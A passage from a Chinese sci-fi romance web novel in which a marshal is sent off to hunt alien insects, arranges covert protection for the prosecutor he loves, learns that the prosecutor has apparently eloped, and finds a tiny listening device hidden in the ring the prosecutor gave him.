他将季临韫的脸抬起来,与自己拉进,喉结微微滚动:“季检察官,你没有其他意思的时候,可不会说这么多话。” 距离太近了,季临韫能感觉到后颈处手掌的力度与粗糙,好像在发烫。 他不能和闻泊彻离这么近,脑子会在呼吸近乎交融的温度里发晕,影响他的判断力。 就在季临韫想开口时,“叮咚”一声,闻泊彻放在口袋里的通讯器又响了起来。 闻泊彻握住手中震动的通讯器,眸色沉沉地看着季临韫。他目不转睛地看着眼前的人,当着他的面接通:“我知道了,很快就会赶过来。” 下一刻,季临韫身上的压迫感一松,闻泊彻重新站起了身。他盯人的眼神很紧,在季临韫面前把那枚戒指往最深处再推紧了几分,说出来的话珍重又从容:“回来再找你说这件事。季检察官,我不管你是什么意思。送戒指这个事情,在我这里就是这个意思。” “在婚戒挑好前,我会一直戴着的。”闻泊彻淡笑一声,骨节分明而富有力量感的手指往下弯,那枚低调的黑曜石戒指在灯光下一晃,尤为显眼。 说完,他就捏着通讯器,转身朝门外走去:“大检察官,下次见。” 季临韫目送他出了门,略带急促的呼吸才缓过来一点。他觉得整个人有些发烫,怔愣片刻,才想。 不应该送闻泊彻戒指的。 季临韫深深呼出一口气,冷淡的眉眼间带着一点无措和悸动。 他脑子里还回荡着,闻泊彻在离开前,附在他耳边说的最后一句话。 “下次再用这种眼神看我,我就亲你了,季检察官。” 19. 逃婚 19. 军部的会议室中。 “元帅,勘测队在远星区发现了疑似异形生物的痕迹。” 浅蓝色的光屏呈弧形浮动在半空,上面滚动着几份密密麻麻的文件。 联席会议主席温特米尔站在光屏前,面色凝重,说:“仪器探测到的能量波动明显不对,现在还不确定异形生物的具体种类,但能量残留足以证明他们停留过。” 闻泊彻坐在会议室的中央,带有金色麦穗的军帽将他眉眼遮去一些,语气听不出喜怒:“军部这边看过了勘测数据,确实要做好异形生物出现的准备。议会这边的态度是什么?” “议会要求,军部立即去远星区巡逻,如果遇到异形生物,在准备充足的情况下,请尽可能将其剿灭。” 温特米尔仔细观察着闻泊彻和各位上将的神色,有些无奈地说,“这时候抽调军部的军队确实有些为难。但各位将军也知道,联邦之前被异形虫族的入侵打怕了,议会想尽可能杜绝它们卷土重来的可能。” 一百多年前,联邦曾经爆发过与异形虫族的激烈战争。一开始,只是一只奇形怪状的甲虫降临在偏远星区的花园里,被当地星区执政官的小孩抓起来玩,结果爆发了严重的疾病。 科学院随后发现,这种奇形怪状的虫子会吞噬人类的血肉,从而迅速膨胀到一个不可思议的体型程度。 但如果是疫病,倒也还能控制。但最可怕的是,这只小甲虫好像只是族群的一个“探测兵”,更庞大的群体还在宇宙星云中深深扎根。 它们外形各异,但都有着有着尖锐的甲壳,锐利而迅猛的口器及肢体,将人类当成天然养料。 而在此之前,联邦从未注意到这种生物,完全没有一点预防措施。是在血淋淋的教训下,人员骤减后,才逐渐找到对付这种外星敌人的方法。 这场伴随着疫病的战争打了整整六十年,联邦才利用量子物理院研究出的技术,以牺牲上一代统帅为代价,将它们全部引进了黑洞。 闻泊彻这一代人出生在和平年代,虽然没有经历过虫族战争,但也在从小到大的教育中深深了解了异形物种的可怖。 也正是因为这样,联邦第一学院明明不是军校,在前两年,也会对所有学生进行大规模军事化训练。 “我们会立即安排部队前往。”闻泊彻抬起头来,淡淡看了温特米尔一眼,问,“议会还有什么要求?” “确实是还有一点。”温特米尔有些不好意思,但又温和而坚定地说,“执政官要求您带领部队前往外星区。” 上一世,闻泊彻也被忽然派往征战,但那群反派军虽然武力齐全,也好歹是人,比虫子好对付多了。 “我知道了。”闻泊彻说,“所以根据议会下发的文件,要求军队明天就要出发?” “是的……”温特米尔也有些觉得仓促了,但他左右不了议会的意见,只得说,“请闻元帅下令,将部队今晚就集结完毕吧。联盟感恩您做出的贡献。” “命令已经传达下去了,”闻泊彻抬起手,将白手套的边缘朝上拉了拉,“如果没有其他事情,这次会议就到此结束。” 他随即利落地转身,朝门口走出,军服上的披肩随着动作被带起:“我还有些私事要处理,在明天军队出发前,我会准时回到军部。” 闻泊彻话音刚落,会议室的众人便都收拾好东西,准备各自回去处理未尽的事务,或和家人告别。 卢林抱着文件走到闻泊彻身旁,略带担忧地说:“议会太着急了,毫无准备就让军部进入外星区。如果这次遭遇的生物不是虫族,议会打算怎么办?” “我会优先保证军部各士兵的安全。”闻泊彻快步往外走,略带嘲讽地说,“议会永远是这个态度,遇到一点和异形生物的事情,就巴不得牺牲军部去和它们同归于尽。命令归命令,真正到了外星区,指挥权可不在他们手上。” “对了,”他动作一顿,低声问,“上次让你准备安插在临韫身边的那批军队,全部留在首都星。帮我紧盯奥利西斯的行程,如果觉察到季检察官可能被控制了,立即通知我。必要时可以对联邦政府使用军/事武力。” 重生后,闻泊彻为了防止自己突然离开首都星,就让卢林秘密在军部组织了一支队伍。一旦自己离开,他们的任务就是保护季临韫的安全。 “都安排好了,这件事由捷莫中将负责。”卢林说,“他一直是您的心腹,老季检察官曾经还救过他们一家的命,他本人也很仰慕季检察官,绝对可靠。明天我们一走,这支军队就会毫无痕迹地跟随季检察官,密不透风地保护他。” “他还喜欢临韫?”闻泊彻一听,冷漠地说,“给他下令,不准他喜欢。” “……”卢林恨不得给自己老大一拳,说,“您说的对。” “临韫之前也受过反跟踪的训练。”闻泊彻算是满意了,说,“最好不要让他发现。” “您放心好了。”已经走到了办公大楼的出口,卢林顺势问,“老大去哪里?我来送吧。” “我去见临韫。”闻泊彻迅速上了车,“卢林,麻烦你继续帮我监控军部的状况,有异常立即报告给我。” 又是忽然被派去远星区。 这件事对闻泊彻而言,几乎成了挥之不去的梦魇。上辈子离开前,他就想对季临韫表白,但总觉得这样庄重浪漫的事,应该再正式一些。 他们兰特斯特,喜欢和爱都要声势浩大、轰轰烈烈,恨不得向全世界炫耀。 但就是这样的念头,让他直到季临韫去世,都没能将爱宣之于口。 不要等了。现在就买一束花,去告诉他吧。 会议结束已经是深夜。闻泊彻好不容易找到一家还未打烊的花店,买了一束热烈漂亮的玫瑰,直直往季宅的方向开。 可随着距离逐渐拉进,闻泊彻也不由忐忑起来。他带着皮质手套的指节敲着方向盘,想,他刚刚走前还对临韫说了那样的话 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“临韫不在家?”闻泊彻看了看表,现在已经凌晨两点了,季临韫不在家还能去哪里?他心里顿时冒出几十个可怕的可能性,第一个就是奥利西斯又把季临韫抓走了。 他皱着眉急切地问:“他去哪里了?” “根据主人的日程安排,他现在已经接受了卡斯特洛大公子的私奔邀请,”智能管家欢快地说,“两个人现在应该正在飞船上呢!” “你说什么?”闻泊彻还拿着花,一下没反应过来。 “我是说,主人和别人私奔啦!”智能管家似乎由衷乐意主人找到幸福,快乐地大声说,“两个人真是天生一对呢!需要我向您介绍卡斯特洛家的大公子吗?我从小看着他长大,他小时候就是一个翩翩公子呢……呜哇!” 智能管家话还没说完,屏幕“咔嚓”一声巨响,被闻泊彻一拳砸灭了。 闻泊彻把白手套取下来。电子屏的碎片扎在了他手背上,痛感让他稍微清醒了一些。 这死电子屏幕在叽里咕噜乱说什么?? 闻泊彻有些急促地喘了两口气,立即打开通讯器联系季临韫。连续好几个通讯打过去,完全无人接听。 他恶狠狠地看着眼前冒着白烟的电子屏幕。 临韫怎么可能跟别人跑了??他今天晚上还刚送他戒指!! 闻泊彻抬起戴着戒指的手背,下意识转动指节上的黑曜石戒指。 但忽然,一个细微的突起划过他的皮肤。 闻泊彻将戒指摘下来,指尖按上那个非常隐蔽、几乎不存在的小点。这样几不可察的东西,如果他没有接受过军部的反追踪训练,几乎完全发现不了。 他心脏跳得很快,回到车上取出工具,小心地将戒指拆开。 只见漂亮的黑曜石缓缓移开,金属戒身下红点闪烁。 一枚微型的窃听器,赫然出现在眼前。